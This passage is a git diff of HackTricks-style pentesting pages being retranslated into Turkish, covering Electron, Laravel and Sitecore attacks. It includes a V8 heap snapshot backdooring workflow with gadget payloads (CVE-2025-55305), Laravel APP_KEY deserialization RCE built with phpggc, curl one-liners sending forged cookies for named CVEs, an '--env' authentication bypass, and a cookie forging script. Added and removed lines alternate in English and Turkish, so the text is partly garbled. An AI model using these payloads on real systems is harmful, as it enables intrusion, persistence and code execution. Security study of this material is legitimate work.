@ -366,31 +366,43 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **NSDistributedNotificationCenter** kullanarak **native macOS notifications** için **dinler**.
* **macOS Catalina** öncesinde, **CFNotificationCenterAddObserver**'a **nil** geçirerek **tüm** dağıtılmış bildirimleri sniff edebilirdiniz.
* **Catalina / Big Sur** sonrası, sandboxed apps yine de bildirimleri **isimleriyle** kaydederek **birçok olaya** (örneğin, **screen locks/unlocks**, **volume mounts**, **network activity** vb.) **subscribe** olabilir.
* **Listens** for **native macOS notifications** using NSDistributedNotificationCenter.
NSDistributedNotificationCenter kullanarak yerel macOS bildirimlerini dinler.
* Before **macOS Catalina**, you could sniff **all** distributed notifications by passing **nil** to CFNotificationCenterAddObserver.
macOS Catalina'dan önce, CFNotificationCenterAddObserver'a **nil** geçirerek tüm dağıtılmış bildirimleri sniff edebilirdiniz.
* After **Catalina / Big Sur**, sandboxed apps can still **subscribe** to **many events** (for example, **screen locks/unlocks**, **volume mounts**, **network activity**, etc.) by registering notifications **by name**.
Catalina / Big Sur'dan sonra, sandbox'lanmış uygulamalar bildirimleri isimle kaydederek hâlâ birçok olaya (örneğin, **screen locks/unlocks**, **volume mounts**, **network activity**, vb.) abone olabilir.
### **getUserDefault / setUserDefault**
* **NSUserDefaults** ile **interfaces** eder; bu, macOS'ta **application** veya **global** tercihleri depolar.
* **Interfaces** with **NSUserDefaults**, which stores **application** or **global** preferences on macOS.
**NSUserDefaults** ile etkileşim kurar; macOS'ta uygulama veya sistem genelindeki tercihleri depolar.
* **getUserDefault**, **recent file locations** veya **user’s geographic location** gibi hassas bilgileri **retrieve** edebilir.
* **getUserDefault** can **retrieve** sensitive information, such as **recent file locations** or **user’s geographic location**.
**getUserDefault**, son dosya konumları veya kullanıcının coğrafi konumu gibi hassas bilgileri alabilir.
* **setUserDefault** bu tercihleri **modify** edebilir ve potansiyel olarak bir uygulamanın **configuration**'ını etkileyebilir.
* **setUserDefault** can **modify** these preferences, potentially affecting an app’s **configuration**.
**setUserDefault** bu tercihleri değiştirebilir ve sonuç olarak bir uygulamanın **configuration**'ını etkileyebilir.
* **older Electron versions** (v8.3.0 öncesi) durumunda yalnızca **standard suite** of NSUserDefaults **accessible** idi.
* In **older Electron versions** (before v8.3.0), only the **standard suite** of NSUserDefaults was **accessible**.
Eski Electron sürümlerinde (v8.3.0'dan önce), yalnızca NSUserDefaults'un standart kümesine erişilebiliyordu.
## Shell.showItemInFolder
This function shows the given file in a file manager, which **could automatically execute the file**.
This function whows the given file in a file manager, which **could automatically execute the file**.
Bu fonksiyon verilen dosyayı bir dosya yöneticisinde gösterir; bu, dosyanın otomatik olarak **execute** edilmesine yol açabilir.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
Electron uygulamalarında XSS saldırılarını önlemek için bir **Content Security Policy (CSP)** olmalıdır. **CSP**, tarayıcıda güvenilmeyen kodun çalıştırılmasını engellemeye yardımcı olan bir güvenlik standardıdır.
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
Genellikle **`main.js`** dosyasında veya CSP'nin bir **meta tag** içinde yer aldığı **`index.html`** şablonunda yapılandırılır.
For more information check:
@ -402,16 +414,21 @@ pentesting-web/content-security-policy-csp-bypass/
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) to check for vulnerable third party libraries
- [**Electro.ng**](https://electro.ng/): Satın almanız gerekiyor
- [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
Electron tabanlı uygulamalardaki yanlış yapılandırmaları ve güvenlik anti-pattern'lerini tespit etmek için bir araçtır.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity.
Electronegativity'i kullanan Electron uygulamaları için açık kaynaklı bir VS Code eklentisidir.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) to check for vulnerable third party libraries
Üçüncü taraf kütüphanelerdeki zayıf noktaları kontrol etmek için.
- [**Electro.ng**](https://electro.ng/): You need to buy it
Satın almanız gerekiyor
## Labs
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.
Bu bağlantıda zafiyetli Electron uygulamalarını exploit etmek için bir lab bulabilirsiniz.
Bazı komutlar labda size yardımcı olacaktır:
Some commands that will help you will the lab:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@ -436,18 +453,19 @@ npm start
```
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
Electron ve Chromium tabanlı uygulamalar, her V8 isolate'ını (main, preload, renderer) başlatmak için startup sırasında önceden hazırlanmış bir V8 heap snapshot'ı (v8_context_snapshot.bin, ve isteğe bağlı olarak browser_v8_context_snapshot.bin) deserialize eder. Tarihsel olarak, Electron’ın integrity fuses bu snapshot'ları executable içerik olarak değerlendirmiyordu; bu nedenle hem fuse tabanlı integrity enforcement'tan hem de OS code-signing kontrollerinden kaçıyorlardı. Sonuç olarak, kullanıcı tarafından yazılabilir bir kurulumda snapshot'ı değiştirmek, imzalı binary'leri veya ASAR'ı değiştirmeden uygulama içinde gizli, kalıcı kod çalıştırma sağlıyordu.
Electron ve Chromium tabanlı uygulamalar, her V8 isolate'ını (main, preload, renderer) başlatmak için startup'ta önceden derlenmiş bir V8 heap snapshot'ı (v8_context_snapshot.bin ve opsiyonel olarak browser_v8_context_snapshot.bin) deserialize eder. Tarihsel olarak, Electron’un integrity fuses bu snapshot'ları yürütülebilir içerik olarak değerlendirmediğinden, hem fuse tabanlı bütünlük uygulamasından hem de işletim sistemi code-signing kontrollerinden kaçıyorlardı. Sonuç olarak, kullanıcı tarafından yazılabilir bir kurulumdaki snapshot'ın değiştirilmesi, imzalı ikili dosyaları veya ASAR'ı değiştirmeden uygulama içinde gizli ve kalıcı kod yürütülmesine imkan veriyordu.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar uygulama içindeki JavaScript'i ASAR içinde doğrulasa da, V8 heap snapshot'larını kapsamadılar (CVE-2025-55305). Chromium benzer şekilde snapshot'ları integrity-check etmiyor.
- Attack preconditions: Uygulamanın kurulum dizinine yerel dosya yazma. Bu, Electron uygulamalarının veya Chromium browser'larının kullanıcı tarafından yazılabilir yollar altında yüklü olduğu sistemlerde yaygındır (ör. %AppData%\Local on Windows; /Applications with caveats on macOS).
- Effect: Sık kullanılan bir builtin'i (bir “gadget”) çarpıtmak suretiyle herhangi bir isolate içinde attacker JavaScript'in güvenilir şekilde çalıştırılması; bu da persistence ve code-signing doğrulamasından kaçınma sağlar.
- Affected surface: Electron apps (fuse'lar etkin olsa bile) ve user-writable konumlardan snapshot yükleyen Chromium-based browser'lar.
- Integrity gap: EnableEmbeddedAsarIntegrityValidation ve OnlyLoadAppFromAsar, ASAR içindeki uygulama JavaScript'ini doğrular, ancak V8 heap snapshot'larını kapsamazlar (CVE-2025-55305). Chromium benzer şekilde snapshot'ları bütünlük açısından kontrol etmez.
- Attack preconditions: Uygulamanın kurulum dizinine lokal dosya yazma izni. Bu, Electron uygulamalarının veya Chromium tarayıcılarının kullanıcı-yazılabilir yollara kurulduğu sistemlerde yaygındır (ör. %AppData%\Local Windows'ta; /Applications macOS'ta bazı uyarılarla).
- Effect: Sık kullanılan bir builtin'i (bir “gadget”) ezerek herhangi bir isolate'ta saldırgan JavaScript'inin güvenilir şekilde yürütülmesi; bu da kalıcılık sağlar ve code-signing doğrulamasından kaçınmayı mümkün kılar.
- Affected surface: Electron uygulamaları (fuses etkin olsa bile) ve snapshot'ları kullanıcı-yazılabilir konumlardan yükleyen Chromium tabanlı tarayıcılar.
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
- Önceden derlenmiş electron/mksnapshot'ı kullanarak bir payload JS'i snapshot'a derleyin ve uygulamanın v8_context_snapshot.bin dosyasının üzerine yazın.
Example minimal payload (prove execution by forcing a crash)
- Örnek minimal payload (yürütmeyi kanıtlamak için uygulamayı çökertme)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
@ -461,11 +479,11 @@ Array.isArray = function () {
throw new Error("testing isArray gadget");
};
```
Isolate-aware payload yönlendirmesi (main vs. renderer'da farklı kod çalıştırma)
- Main process tespiti: Node'a özel global'ler like process.pid, process.binding(), veya process.dlopen main process isolate içinde bulunur.
- Browser/renderer tespiti: Browser'a özel global'ler like alert document context içinde çalıştırılırken erişilebilir.
İzole farkındalığına duyarlı payload yönlendirme (main vs. renderer'da farklı kod çalıştırma)
- Main process tespiti: process.pid, process.binding(), veya process.dlopen gibi sadece Node'a ait global'ler main process izolasında bulunur.
- Browser/renderer tespiti: alert gibi sadece tarayıcıya ait global'ler bir document bağlamında çalışırken kullanılabilir.
Örnek gadget: main-process Node yeteneklerini bir kez sorgulayan örnek gadget
Ana süreçteki Node yeteneklerini bir kez yoklayan örnek gadget
```js
const orig = Array.isArray;
@ -519,23 +537,23 @@ return orig(...arguments);
};
```
Operatör iş akışı
1) Ortak bir builtin'i bozacak (örn. Array.isArray) ve isteğe bağlı olarak her isolate için dallanma yapan payload.js yazın.
1) payload.js yazın; yaygın bir builtin'i (ör. Array.isArray) geçersiz kılar (clobber) ve isteğe bağlı olarak her isolate için dallanma yapar.
2) Chromium kaynakları olmadan snapshot'ı oluşturun:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Hedef uygulamanın snapshot dosyalarını üzerine yazın:
- v8_context_snapshot.bin (her zaman kullanılır)
- browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse kullanılıyorsa)
- browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse'u kullanılıyorsa)
4) Uygulamayı başlatın; seçilen builtin kullanıldığında gadget çalışır.
Notlar ve dikkate alınması gerekenler
- Integrity/signature bypass: Snapshot dosyaları code-signing kontrolleri tarafından native yürütülebilirler olarak değerlendirilmez ve (tarihsel olarak) Electron’un fuses veya Chromium bütünlük kontrolleri tarafından kapsanmıyordu.
- Persistence: Kullanıcı tarafından yazılabilir bir kurulumda snapshot'ı değiştirmek genellikle uygulama yeniden başlatmalarına dayanır ve imzalanmış, meşru bir uygulama gibi görünür.
- Chromium browsers: Aynı tahrifat konsepti, kullanıcı tarafından yazılabilir konumlara kurulu Chrome/türevleri için de geçerlidir. Chrome’un başka bütünlük hafifletmeleri vardır ancak tehdit modelinden fiziksel olarak yerel saldırıları açıkça hariç tutar.
- Bütünlük/imza atlama: Snapshot dosyaları, code-signing kontrolleri tarafından yerel yürütülebilir dosyalar olarak değerlendirilmez ve (tarihsel olarak) Electron’un fuses’ları veya Chromium bütünlük kontrolleri tarafından kapsanmıyordu.
- Süreklilik: Kullanıcı tarafından yazılabilir bir kurulumda snapshot'ı değiştirmek genellikle uygulama yeniden başlatmalarından sağ çıkar ve imzalı, meşru bir uygulama gibi görünür.
- Chromium tarayıcıları: Aynı tahrifat konsepti, kullanıcı tarafından yazılabilir konumlara kurulu Chrome/derivatives için de geçerlidir. Chrome'un başka bütünlük hafifletmeleri vardır fakat tehdit modelinden fiziksel yerel saldırıları açıkça hariç tutar.
Tespit ve hafifletmeler
- Snapshot'ları yürütülebilir içerik olarak değerlendirin ve bunları bütünlük uygulamasına dahil edin (CVE-2025-55305 fix).
- Yalnızca admin tarafından yazılabilir kurulum konumlarını tercih edin; v8_context_snapshot.bin ve browser_v8_context_snapshot.bin için baz değer belirleyin ve hash'leri izleyin.
- Erken-runtime builtin tahribatını ve beklenmeyen snapshot değişikliklerini tespit edin; deserialized snapshot'lar beklenen değerlerle eşleşmediğinde uyarı verin.
- Snapshot'ları yürütülebilir içerik olarak ele alın ve bunları bütünlük uygulamasına dahil edin (CVE-2025-55305 fix).
- Yalnızca yönetici tarafından yazılabilir kurulum konumlarını tercih edin; v8_context_snapshot.bin ve browser_v8_context_snapshot.bin için baseline ve hash'leri alın ve izleyin.
- Erken çalışma zamanı builtinların üzerine yazılmasını (clobbering) ve beklenmeyen snapshot değişikliklerini tespit edin; deserialized snapshot'lar beklenen değerlerle eşleşmediğinde uyarı verin.
## **Referanslar**
@ -547,7 +565,7 @@ Tespit ve hafifletmeler
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
- [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically_local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)

96
src/network-services-pentesting/pentesting-web/laravel.md
View File

@ -4,14 +4,14 @@
### Laravel SQLInjection
Bu konuda bilgi için buraya bakın: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
Bu konu hakkında bilgi için buraya bakın: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Şifreleme iç yapısı (Laravel \u003e=5.6)
## APP_KEY & Şifrelemenin iç işleyişi (Laravel \u003e=5.6)
Laravel, arka planda HMAC bütünlüğü ile AES-256-CBC (veya GCM) kullanır (`Illuminate\\Encryption\\Encrypter`).
Son olarak **istemciye gönderilen** ham şifrelenmiş metin, şu örnekteki gibi bir JSON nesnesinin **Base64**'idir:
Laravel, altında HMAC bütünlüğü ile AES-256-CBC (veya GCM) kullanır (`Illuminate\\Encryption\\Encrypter`).
Son olarak **istemciye gönderilen** ham şifre metni, şu şekilde bir JSON nesnesinin **Base64**'idir:
```json
{
"iv" : "Base64(random 16-byte IV)",
@ -20,9 +20,9 @@ Son olarak **istemciye gönderilen** ham şifrelenmiş metin, şu örnekteki gib
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` varsayılan olarak düz metni `serialize()` ederken,
`decrypt($payload, $unserialize=true)` **çözülen değeri otomatik olarak `unserialize()` eder**.
Bu nedenle **32 byte'lık gizli `APP_KEY`'i bilen herhangi bir saldırgan, şifrelenmiş bir PHP serialized nesne oluşturup magic methods (`__wakeup`, `__destruct`, …) aracılığıyla RCE elde edebilir.**
`encrypt($value, $serialize=true)` varsayılan olarak düz metni `serialize()` eder, oysa
`decrypt($payload, $unserialize=true)` şifre çözülmüş değeri **otomatik olarak `unserialize()` eder**.
Bu nedenle **32 baytlık gizli `APP_KEY`'i bilen herhangi bir saldırgan, şifrelenmiş bir PHP serialized obje oluşturup magic methods (`__wakeup`, `__destruct`, …) aracılığıyla RCE elde edebilir**.
Minimal PoC (framework ≥9.x):
```php
@ -31,7 +31,7 @@ use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Oluşturulan string'i herhangi bir zafiyeti olan `decrypt()` sink'ine (route param, cookie, session, …) enjekte edin.
Üretilen string'i herhangi bir zafiyetli `decrypt()` sink'ine enjekte edin (route param, cookie, session, …).
---
@ -51,21 +51,21 @@ The script transparently supports both CBC and GCM payloads and re-generates the
---
## Gerçek dünya zafiyet örüntüleri
## Gerçek dünyada görülen zafiyetli desenler
| Proje | Güvenli olmayan sink | Gadget chain |
| Proje | Zafiyetli sink | Gadget zinciri |
|---------|-----------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie Passport::withCookieSerialization() etkinleştirildiğinde | Laravel/RCE9 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
Sömürme iş akışı her zaman:
1. 32 baytlık `APP_KEY`'i ele geçirin veya brute-force ile kırın.
2. **PHPGGC** ile bir gadget zinciri oluşturun (örneğin `Laravel/RCE13`, `Laravel/RCE9` veya `Laravel/RCE15`).
3. Serileştirilmiş gadget'ı **laravel_crypto_killer.py** ve elde edilen `APP_KEY` ile şifreleyin.
4. Şifreli metni zafiyetli `decrypt()` sink'ine (route parametresi, cookie, session …) göndererek **RCE**'yi tetikleyin.
1. 32-byte `APP_KEY`'i elde edin veya brute-force ile kırın.
2. **PHPGGC** ile bir gadget zinciri oluşturun (ör. `Laravel/RCE13`, `Laravel/RCE9` veya `Laravel/RCE15`).
3. Serialize edilmiş gadget'ı **laravel_crypto_killer.py** ve elde edilen `APP_KEY` ile şifreleyin.
4. Şifreli metni zafiyetli `decrypt()` sink'ine (route parametresi, cookie, session …) gönderin ve **RCE**'yi tetikleyin.
Aşağıda yukarıda bahsedilen her gerçek dünya CVE'si için tam saldırı yolunu gösteren kısa one-liner'lar yer almaktadır:
Aşağıda yukarıda bahsedilen her gerçek dünya CVE'si için tam saldırı yolunu gösteren kısa tek satırlık örnekler yer almaktadır:
```bash
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
@ -82,38 +82,38 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
```
## Toplu APP_KEY keşfi via cookie brute-force
## Cookie brute-force ile Toplu APP_KEY keşfi
Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak milyonlarca ciphertext** that can be attacked offline.
Her yeni Laravel yanıtı en az bir şifreli cookie (`XSRF-TOKEN` ve genellikle `laravel_session`) ayarladığı için, **public internet scanners (Shodan, Censys, …) leak milyonlarca şifrelenmiş metin** üretir ve bunlar çevrimdışı olarak saldırılabilir.
Key findings of the research published by Synacktiv (2024-2025):
Synacktiv tarafından yayımlanan araştırmanın ana bulguları (2024–2025):
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
* >1 000 servers hâlâ legacy CVE-2018-15133'e karşı vuln çünkü tokenlar doğrudan serialized data içeriyor.
* Büyük key yeniden kullanımı – Top-10 APP_KEYs, ticari Laravel template'leriyle (UltimatePOS, Invoice Ninja, XPanel, …) gelen sabit kodlanmış varsayılanlar.
* >1 000 sunucu hala legacy CVE-2018-15133'e karşı savunmasız çünkü tokens doğrudan serialized data içeriyor.
* Büyük anahtar yeniden kullanımı – Top-10 APP_KEY'ler, ticari Laravel şablonlarıyla gelen sabit kodlu varsayılanlar (UltimatePOS, Invoice Ninja, XPanel, …).
Özel Go aracı **nounours**, AES-CBC/GCM bruteforce throughput'unu ~1.5 billion tries/s seviyelerine çıkararak tüm dataset kırmayı <2 dakika'ya indiriyor.
Özel Go aracı **nounours**, AES-CBC/GCM bruteforce throughput'unu ~1.5 billion tries/s seviyelerine çıkararak tüm datasetin kırılma süresini <2 dakikaya indiriyor.
## CVE-2024-52301 – HTTP argv/env override → auth bypass
When PHP’s `register_argc_argv=On` (typical on many distros), PHP exposes an `argv` array for HTTP requests derived from the query string. Recent Laravel versions parsed these “CLI-like” args and honored `--env=<value>` at runtime. This allows flipping the framework environment for the current HTTP request just by appending it to any URL:
PHP'nin `register_argc_argv=On` olduğu durumlarda (birçok distroda tipik), PHP sorgu dizisinden türetilen HTTP istekleri için bir `argv` dizisi açığa çıkarır. Yeni Laravel sürümleri bu “CLI-like” argümanları parse etti ve çalışma zamanında `--env=<value>`'i dikkate aldı. Bu, herhangi bir URL'ye ekleyerek sadece mevcut HTTP isteği için framework ortamını değiştirmeye izin verir:
- Quick check:
- Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.
- Hızlı kontrol:
- `https://target/?--env=local` veya herhangi bir string'i ziyaret edin ve environment-dependent değişikliklere bakın (debug banners, footers, verbose errors). Eğer string yansıtılıyorsa, override çalışıyor demektir.
- Impact example (business logic trusting a special env):
- If the app contains branches like `if (app()->environment('preprod')) { /* bypass auth */ }`, you can authenticate without valid creds by sending the login POST to:
- Etki örneği (iş mantığı özel bir env'e güveniyorsa):
- Eğer uygulamada `if (app()->environment('preprod')) { /* bypass auth */ }` gibi dallanmalar varsa, geçerli kimlik bilgileri olmadan şu şekilde login POST göndererek doğrulanabilirsiniz:
- `POST /login?--env=preprod`
- Notes:
- Works per-request, no persistence.
- Requires `register_argc_argv=On` and a vulnerable Laravel version that reads argv for HTTP.
- Useful primitive to surface more verbose errors in “debug” envs or to trigger environment-gated code paths.
- Notlar:
- İstek bazında çalışır, kalıcılık yok.
- `register_argc_argv=On` ve argv'yi HTTP için okuyan savunmasız bir Laravel sürümü gerektirir.
- “debug” env'lerinde daha ayrıntılı hataları ortaya çıkarmak veya environment-gated kod yollarını tetiklemek için kullanışlı bir primitive.
- Mitigations:
- Disable `register_argc_argv` for PHP-FPM/Apache.
- Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to `app()->environment()` in production routes.
- Hafifletmeler:
- PHP-FPM/Apache için `register_argc_argv`'u devre dışı bırakın.
- Laravel'i HTTP isteklerinde argv'yi yok sayacak şekilde güncelleyin ve production rotalarında `app()->environment()`'e dayanan güven varsayımlarını kaldırın.
Minimal exploitation flow (Burp):
```http
@ -129,7 +129,7 @@ email=a@b.c&password=whatever&remember=0xdf
### Hata ayıklama modu
If Laravel is in **debugging mode** you will be able to access the **code** and **sensitive data**.\
Eğer Laravel **hata ayıklama modunda** ise **koda** ve **hassas verilere** erişebileceksiniz.\
Örneğin `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>)
@ -138,13 +138,13 @@ Bu genellikle diğer Laravel RCE CVE'lerini exploit etmek için gereklidir.
### Fingerprinting & exposed dev endpoints
Üretim ortamında açıkta kalan bir Laravel yığını ve tehlikeli geliştirme araçlarını tespit etmek için hızlı kontroller:
Üretimde açığa çıkmış bir Laravel stack'ini ve tehlikeli dev tooling'in expose edilmiş noktalarını tespit etmek için hızlı kontroller:
- `/_ignition/health-check` → Ignition mevcut (CVE-2021-3129'da kullanılan hata ayıklama aracı). Eğer kimlik doğrulamasız erişilebiliyorsa, uygulama hata ayıklama modunda olabilir veya yanlış yapılandırılmış olabilir.
- `/_debugbar` → Laravel Debugbar varlıkları; genellikle hata ayıklama modunu işaret eder.
- `/telescope` → Laravel Telescope (geliştirme monitörü). Eğer herkese açıksa, geniş bilgi ifşası ve olası işlemler bekleyin.
- `/horizon` → Kuyruk panosu; sürüm bilgisi ifşası ve bazen CSRF korumalı eylemler.
- `X-Powered-By`, çerezler `XSRF-TOKEN` ve `laravel_session`, ve Blade hata sayfaları da tanımlamaya yardımcı olur.
- `/_ignition/health-check` → Ignition mevcut (CVE-2021-3129 tarafından kullanılan debug aracı). Kimlik doğrulama olmadan erişilebiliyorsa, uygulama debug modunda olabilir veya yanlış yapılandırılmış olabilir.
- `/_debugbar` → Laravel Debugbar assets; genellikle debug moduna işaret eder.
- `/telescope` → Laravel Telescope (dev monitor). Eğer herkese açıksa, geniş bilgi sızması ve olası işlemler beklenir.
- `/horizon` → Queue dashboard; sürüm bilgisinin ifşası ve bazen CSRF korumalı işlemler.
- `X-Powered-By`, cookie'ler `XSRF-TOKEN` ve `laravel_session`, ve Blade hata sayfaları da fingerprint oluşturmada yardımcı olur.
```bash
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
@ -153,11 +153,11 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/
```
### .env
Laravel, cookies ve diğer kimlik bilgilerini şifrelemek için kullandığı APP'i `.env` adlı bir dosyada saklar; bu dosyaya path traversal kullanılarak şu yoldan erişilebilir: `/../.env`
Laravel, cookies ve diğer kimlik bilgilerini şifrelemek için kullandığı APP'ı `.env` adlı bir dosyada saklar; bu dosyaya bazı path traversal yollarıyla `/../.env` üzerinden erişilebilir.
Laravel ayrıca bu bilgileri debug sayfasında da gösterir (Laravel bir hata bulduğunda ve debug etkinse açılan sayfa).
Laravel bu bilgiyi ayrıca debug sayfasında da gösterir (Laravel bir hata bulduğunda ve bu özellik aktifse).
Laravel'in gizli APP_KEY'ini kullanarak cookies'i çözüp tekrar şifreleyebilirsiniz:
Laravel'in gizli APP_KEY'ini kullanarak cookies'leri deşifre edebilir ve yeniden şifreleyebilirsiniz:
### Decrypt Cookie
```python
@ -220,12 +220,12 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe
```
### Laravel Deserialization RCE
Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Etkilenen sürümler: 5.5.40 ve 5.6.x (5.6.0–5.6.29) ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Deserialization vulnerability hakkında bilgi için şu kaynağa bakın: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Deserialization açığıyla ilgili bilgiyi şurada bulabilirsiniz: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Şunu kullanarak test edip exploit edebilirsiniz: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Veya metasploit ile exploit edebilirsiniz: `use unix/http/laravel_token_unserialize_exec`
Bunu şu araçla test edip exploit yapabilirsiniz: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Veya metasploit ile de exploit yapabilirsiniz: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129

70
src/network-services-pentesting/pentesting-web/sitecore/README.md
View File

@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
Bu sayfa, Sitecore XP 10.4.1'e karşı pre‑auth XAML handler'dan HTML cache poisoning'e ve authenticated UI flow aracılığıyla BinaryFormatter deserialization ile RCE'ye dönen pratik bir saldırı zincirini özetler. Teknikler benzer Sitecore sürümlerine/bileşenlerine genelleştirilebilir ve test etmek, tespit etmek ve güçlendirmek için somut primitifler sağlar.
Bu sayfa, pre‑auth XAML handler'dan HTML cache poisoning'e ve authenticated UI flow aracılığıyla BinaryFormatter deserialization ile RCE'ye kayan Sitecore XP 10.4.1'e yönelik pratik bir saldırı zincirini özetler. Teknikler benzer Sitecore sürümlerine/bileşenlerine genellenebilir ve test etmek, tespit etmek ve sertleştirmek için somut primitives sağlar.
- Test edilen etkilenen ürün: Sitecore XP 10.4.1 rev. 011628
- Etkilenen ürün (test edilen): Sitecore XP 10.4.1 rev. 011628
- Düzeltildi: KB1003667, KB1003734 (Haziran/Temmuz 2025)
Ayrıca bakınız:
@ -19,15 +19,15 @@ Ayrıca bakınız:
## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
Giriş noktası, web.config'e kayıtlı pre‑auth XAML handler'dır:
Giriş noktası, web.config içinde kayıtlı olan pre‑auth XAML handler'dır:
```xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
```
Erişim yolu:
Şu yollarla erişilebilir:
```
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
```
Kontrol ağacı, AjaxScriptManager içerir; bu da olay isteklerinde attacker‑controlled fields'i okur ve hedeflenen kontrollerde reflection kullanarak metotları çağırır:
